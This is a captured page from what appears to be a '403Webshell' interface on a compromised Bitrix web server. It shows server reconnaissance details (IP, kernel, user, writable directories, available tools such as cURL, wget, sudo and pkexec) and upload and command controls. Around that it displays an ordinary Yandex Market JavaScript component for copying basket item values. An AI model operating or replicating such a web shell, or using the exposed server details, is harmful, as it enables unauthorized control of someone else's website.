403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/yandex.market/orderview/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/yandex.market/orderview/basketitemcis.js
(function(BX, $, window) {

	const Reference = BX.namespace('YandexMarket.Field.Reference');
	const OrderView = BX.namespace('YandexMarket.OrderView');

	const constructor = OrderView.BasketItemCis = Reference.Base.extend({

		defaults: {
			inputElement: '.js-yamarket-basket-item-cis__input',
			copyElement: '.js-yamarket-basket-item-cis__copy',
			copy: null,

			lang: {},
			langPrefix: 'YANDEX_MARKET_T_TRADING_ORDER_VIEW_BASKET_ITEM_CIS_'
		},

		initialize: function() {
			this.callParent('initialize', constructor);
			this.bind();
		},

		destroy: function() {
			this.unbind();
			this.callParent('destroy', constructor);
		},

		bind: function() {
			this.handleCopyClick(true);
		},

		unbind: function() {
			this.handleCopyClick(false);
		},

		handleCopyClick: function(dir) {
			const copy = this.getElement('copy');

			copy[dir ? 'on' : 'off']('click', $.proxy(this.onCopyClick, this));
		},

		onCopyClick: function(evt) {
			this.copy();
			evt.preventDefault();
		},

		copy: function() {
			const copyValues = this.getCopyValue();
			const values = this.getValue();

			Object.assign(values, copyValues);

			this.setValue(values);
		},

		getCopyValue: function() {
			const parent = this.getParentField();
			let result;

			if (this.options.copy != null) {
				result = this.options.copy;
			} else if (parent != null) {
				result = parent.getCopyValue();
			}

			return result;
		},

	}, {
		dataName: 'orderViewBasketItemCis',
		pluginName: 'YandexMarket.OrderView.BasketItemCis',
	});

})(BX, jQuery, window);

Youez - 2016 - github.com/yon3zu
LinuXploit